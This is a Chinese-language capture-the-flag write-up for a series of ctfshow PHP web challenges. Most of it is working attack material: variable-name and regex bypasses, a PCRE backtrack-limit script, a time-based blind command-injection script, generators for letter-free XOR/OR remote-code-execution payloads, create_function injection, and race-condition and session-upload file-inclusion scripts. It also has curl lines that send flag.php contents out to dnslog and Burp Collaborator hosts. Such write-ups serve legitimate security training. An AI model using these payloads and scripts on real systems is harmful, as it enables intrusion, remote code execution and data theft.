POST : CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag
PHP变量名应该只有数字字母下划线,同时GET或POST方式传进去的变量名,会自动将空格 + . [
转换为_
但是有一个特性可以绕过,使变量名出现.
之类的
特殊字符[
, GET或POST方式传参时,变量名中的[
也会被替换为_
,但其后的字符就不会被替换了
如 CTF[SHOW.COM
=>CTF_SHOW.COM
另一个思路 CTF_SHOW=&CTF[SHOW.COM=&fun=var_dump($GLOBALS)
(题目打不通)
php中的$_SERVER['argv']
参考:https://blog.csdn.net/csdn_azuo/article/details/79092479
$_SERVER['argv'][0]
,其余是传递给脚本的参数$a['0']
POST CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])
GET /?$fl0g=flag_give_me;
$fl0g="flag_give_me
别的一些解:
get: a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
GET:?$fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])
?ctf show=ilove36d
利用空格会自动转换为_
来绕过waf
GetText:一个字符串处理的函数或者说功能,进行字符替换等等. 用法可以参考https://blog.csdn.net/changli_90/article/details/9277805
PHP里面用法:https://www.cnblogs.com/lost-1987/articles/3309693.html
get_defined_vars( void) : array
返回由所有已定义变量所组成的数组
所以payload: ?f1=_&f2=get_defined_vars
var_dump(call_user_func(call_user_func($f1,$f2)));
=> var_dump(call_user_func(call_user_func(_,'get_defined_vars')));
=> var_dump(call_user_func(get_defined_vars));
利用目录穿越漏洞绕过 stripos 检测字符
?f=/ctfshow/../../../../../../../../../var/www/html/flag.php
直接POST f=ctfshow绕过正则 preg_match('/.+?ctfshow/is', $f)
可能.+
匹配失败,就不再匹配?
利用了php中正则表达式进行匹配有一定的限制,超过限制直接返回false
这个限制是防止正则匹配时占用资源过多设置
可以参考:
https://www.jb51.net/article/49631.htm
https://blog.csdn.net/letianok/article/details/8720210
脚本: 字符太长服务器会崩溃,太短达不到效果
import requests
url = 'http://58ace073-e21f-4c22-b1b0-e81ccf26ab74.chall.ctf.show/'
esp = 1000000
ebp = 100000
while True:
middle = int((esp+ebp)/2)
payload = 'ctfsho' * middle + '36Dctfshow'
data = {
'f': payload
}
r = requests.post(url=url, data=data)
if 'flag{' in r.text:
print(r.text)
break
elif 'Too Large' in r.text:
esp = middle
elif 'bye' in r.text:
ebp = middle
扫描后台有/amdin
考察 php运算符优先级 ||
优先级低于&&
只需满足code=admin&username=admin即可
参考 https://blog.csdn.net/qq_46091464/article/details/109095382
可以套娃命令执行
$F = @$_GET['F']
eval(substr($F,0,6));
让
?F=`$F`; sleep(5)
最后执行
eval(`$F`;);
还是
eval(`$F`; sleep(5)); // 这里的sleep(5)是Linux shell的函数
所以可以执行命令但没有回显,可以找方法外带
dnslog : payload:
?F = `$F`; curl `cat flag.php|grep "flag"`.65ye0m.dnslog.cn
?F=`$F`;+curl -X POST -d"flag=`cat flag.php`" ewe2mcnzf0hwu1l4eepxt26nwe25qu.burpcollaborator.net
?_POST[key1]=36d&_POST[key2]=36d
直接把flag.php写到1.txt再访问
`?F=`$F`; cp flag.php 1.txt`
禁用了一堆函数.想办法看到回显
linux tee命令
Linux tee命令用于读取标准输入的数据,并将其内容输出成文件
用法:
tee file1 file2 //复制文件
ls|tee 1.txt //命令输出
POST ctfshow=ctfshow::getFlag
ctfshow[0]=ctfshow&ctfshow[1]=getFlag
137,138都是考察call_user_func()
call_user_func( callable $callback[, mixed $parameter[, mixed $...]] ) : mixed
和题目有关的用法:
call_user_func('phpinfo');
5.3.0 对面向对象里面的关键字的解析有所增强。在此之前,使用两个冒号来连接一个类和里面的一个方法,把它作为参数来作为回调函数的话,将会发出一个E_STRICT的警告,因为这个传入的参数被视为静态方法。
如:
function barber($type)
{
echo "You wanted a $type haircut, no problem\n";
}
call_user_func('barber', "mushroom");
call_user_func('barber', "shave");
?>
//You wanted a mushroom haircut, no problem
//You wanted a shave haircut, no problem
class myclass {
static function say_hello()
{
echo "Hello!\n";
}
}
$classname = "myclass";
call_user_func(array($classname, 'say_hello'));
call_user_func($classname .'::say_hello'); // As of 5.2.3
$myobject = new myclass();
call_user_func(array($myobject, 'say_hello'));
?>
带不出回显了,可以盲注,盲打(和sql盲注类似)
要解决两个问题
截取字符串可以用awk等命令
判断命令执行结果可以用shell编程的if语句和sleep()函数
shell编程,if语句控制输出,sleep控制相应时间
脚本:
import requests
cmd = 'cat /f149_15_h3r3'
result = ''
for i in range(1, 10):
for j in range(1, 50):
print('i=', i, ' j=', j)
for k in range(32, 128):
k = chr(k)
payload = f"if [ `{cmd} |awk NR=={i}|cut -c {j}` == {k} ]; then sleep 3;fi"
payload = '?c=' + payload
url = 'http://7e556b0d-6a65-4dc4-8be5-0389300c98f6.chall.ctf.show/'
try:
requests.get(url + payload, timeout=(2.5, 2.5))
except:
result = result + k
print(result)
break
result = result + "\n"
f1=intval&f2=intval
拼凑函数,凑出结果为0或false或NULL的
或者 payload: f1=usleep&f2=usleep
两个考点 一个是无数字字母RCE 一个是 函数执行类的问题;
先看比如构造出来system("whoami")
怎么执行它
1system("whoami");
error不会执行
1+system("whoami");
Warning 会执行
无数字字母RCE
通过或拼接字符串
转换脚本:
# -*- coding: utf-8 -*-
# @Time : 20.12.4 23:05
# @author:lonmar
import re
content = ''
preg = '[a-z]|[0-9]' # 题目过滤正则
# 生成字典
for i in range(256):
for j in range(256):
if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)):
k = i | j
if 32 <= k <= 126:
a = '%' + hex(i)[2:].zfill(2)
b = '%' + hex(j)[2:].zfill(2)
content += (chr(k) + ' ' + a + ' ' + b + '\n')
f = open('rce_or.txt', 'w')
f.write(content)
while True:
payload1 = ''
payload2 = ''
code = input("data:")
for i in code:
f = open('rce_or.txt')
lines = f.readlines()
for line in lines:
if i == line[0]:
payload1 = payload1 + line[2:5]
payload2 = payload2 + line[6:9]
break
payload = '("'+payload1+'"|"'+payload2+'")'
print("payload: "+ payload)
payload = ?v1=1&v2=2&v3=*(%22%13%19%13%14%05%0d%22|%22%60%60%60%60%60%60%22)("%03%01%14%00%06%0c%01%07%00%10%08%10"|"%60%60%60%20%60%60%60%60%2e%60%60%60");
命令前加一些 + - * / 之类的,让它顺利执行
?v1=0
可以用异或构造字符串, 题目还过滤了;
可以用?>
代替;
脚本:
# -*- coding: utf-8 -*-
# @Time : 20.12.4 23:06
# @author:lonmar
import re
content = ''
preg = '/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/' # 题目过滤正则
# 生成字典
for i in range(256):
for j in range(256):
if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)):
k = i ^ j
if 32 <= k <= 126:
a = '%' + hex(i)[2:].zfill(2)
b = '%' + hex(j)[2:].zfill(2)
content += (chr(k) + ' ' + a + ' ' + b + '\n')
f = open('exp_xor.txt', 'w')
f.write(content)
while True:
payload1 = ''
payload2 = ''
code = input("data:")
for i in code:
f = open('rce_or.txt')
lines = f.readlines()
for line in lines:
if i == line[0]:
payload1 = payload1 + line[2:5]
payload2 = payload2 + line[6:9]
break
payload = '("'+payload1+'"^"'+payload2+'")'
print("payload: "+ payload)
?v1=1&v2=2&v3=*("%13%19%13%14%05%0d"^"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%02%10%08%10"^"%60%60%60%20%60%60%60%60%2c%60%60%60");
?v1=1&v3=2&v2=%00*("%13%19%13%14%05%0d"^"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%02%10%08%10"^"%60%60%60%20%60%60%60%60%2c%60%60%60");
?v1=1&v2=2&v3=|('%13%19%13%14%05%0d'|'%60%60%60%60%60%60')('%03%01%14%00%06%0c%01%07%02%10%08%10'|'%60%60%60%20%60%60%60%60%2c%60%60%60')|
可以用|
1|(xxx)|2
或者三元运算符 1?(xxxx):2
同上
可以在函数名前加上命名空间
system =>\system
\
是全局命名空间
php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路 径; 而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写法
然后找一个能够执行命令的函数,满足题目要求的
可利用create_function()进行代码注入
参考 : https://my.oschina.net/huyex/blog/2885273
https://blog.csdn.net/weixin_44302704/article/details/108591912
payload :
GET ?show=2;}system("nl flag.php");/*
POST ctf=\create_function
解法1 :
无数字字母RCE
/?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%0c%01%07%01%0b%08%0b"^"%7d%60%60%21%60%60%60%60%2f%7b%60%7b");
# -*- coding: utf-8 -*-
# @Time : 20.12.4 23:06
# @author:lonmar
import re
content = ''
preg = '[A-Za-z0-9_\%\|\~\'\,\.\:\@\&\*\+\- ]' # 题目过滤正则
# 生成字典
for i in range(256):
for j in range(256):
if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)):
k = i ^ j
if 32 <= k <= 126:
a = '%' + hex(i)[2:].zfill(2)
b = '%' + hex(j)[2:].zfill(2)
content += (chr(k) + ' ' + a + ' ' + b + '\n')
f = open('exp_xor.txt', 'w')
f.write(content)
while True:
payload1 = ''
payload2 = ''
code = input("data:")
for i in code:
f = open('exp_xor.txt')
lines = f.readlines()
for line in lines:
if i == line[0]:
payload1 = payload1 + line[2:5]
payload2 = payload2 + line[6:9]
break
payload = '("'+payload1+'"^"'+payload2+'")'
print("payload: "+ payload)
解法2
中文变量
payload
$哈="`{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f*
其中"`{{{" ^ "?<>/"异或得到_GET
$哈=_GET;
$_GET[哼]($_GET[嗯]);
?哼=system&嗯=tac f*
条件竞争,一个多线程用来写,一个用来读
脚本:
# -*- coding: utf-8 -*-
# @Time : 20.12.5 11:41
# @author:lonmar
import io
import requests
import threading
url = 'http://d3aa0fa3-8a63-4994-8a43-80891c436065.chall.ctf.show/'
def write():
while event.isSet():
data = {
'show': ''
}
requests.post(url=url+'?ctf=1.php', data=data)
def read():
while event.isSet():
response = requests.get(url + '1.php')
if response.status_code != 404:
print(response.text)
event.clear()
if __name__ == "__main__":
event = threading.Event()
event.set()
for i in range(1, 100):
threading.Thread(target=write).start()
for i in range(1, 100):
threading.Thread(target=read).start()
非预期:直接写一句话到index.php
GET ?ctf=index.php
POST show=
可以用包含session文件打,不过这个是非预期,后面web150_plus修复了这个非预期
脚本:
# -*- coding: utf-8 -*-
# @Time : 20.12.5 13:52
# @author:lonmar
import io
import requests
import threading
sessid = 'test'
data = {
"ctf": "/tmp/sess_test",
"cmd": 'system("cat flag.php");'
}
def write(session):
while event.isSet():
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post('http://7445f895-6f17-4435-adc0-62055d7f0cb7.chall.ctf.show/',
data={'PHP_SESSION_UPLOAD_PROGRESS': ''},
files={'file': ('test.txt', f)}, cookies={'PHPSESSID': sessid})
def read(session):
while event.isSet():
res = session.post(
'http://7445f895-6f17-4435-adc0-62055d7f0cb7.chall.ctf.show/?isVIP=1',
data=data
)
if 'flag{' in res.text:
print(res.text)
event.clear()
else:
print('[*]retrying...')
if __name__ == "__main__":
event = threading.Event()
event.set()
with requests.session() as session:
for i in range(1, 5):
threading.Thread(target=write, args=(session,)).start()
for i in range(1, 5):
threading.Thread(target=read, args=(session,)).start()
使用?..CTFSHOW..=xxx
可以绕过正则匹配,利用空格 [ . +
自动转换为_
的特性
__autoload()
这个函数并不属于CTFSHOW这个类的,全局都可以用
在定义这个函数后,尝试使用不存在的类的时候会自动加载
用法参考 https://www.php.cn/php-weizijiaocheng-426838.html
class_exists()同样会触发这个函数
传入?..CTFSHOW..=phpinfo
就会执行phpinfo()
然后可以用LFI via PHPINFO
可以参考:https://github.com/vulhub/vulhub/blob/master/php/inclusion/README.zh-cn.md
修改一下exp再打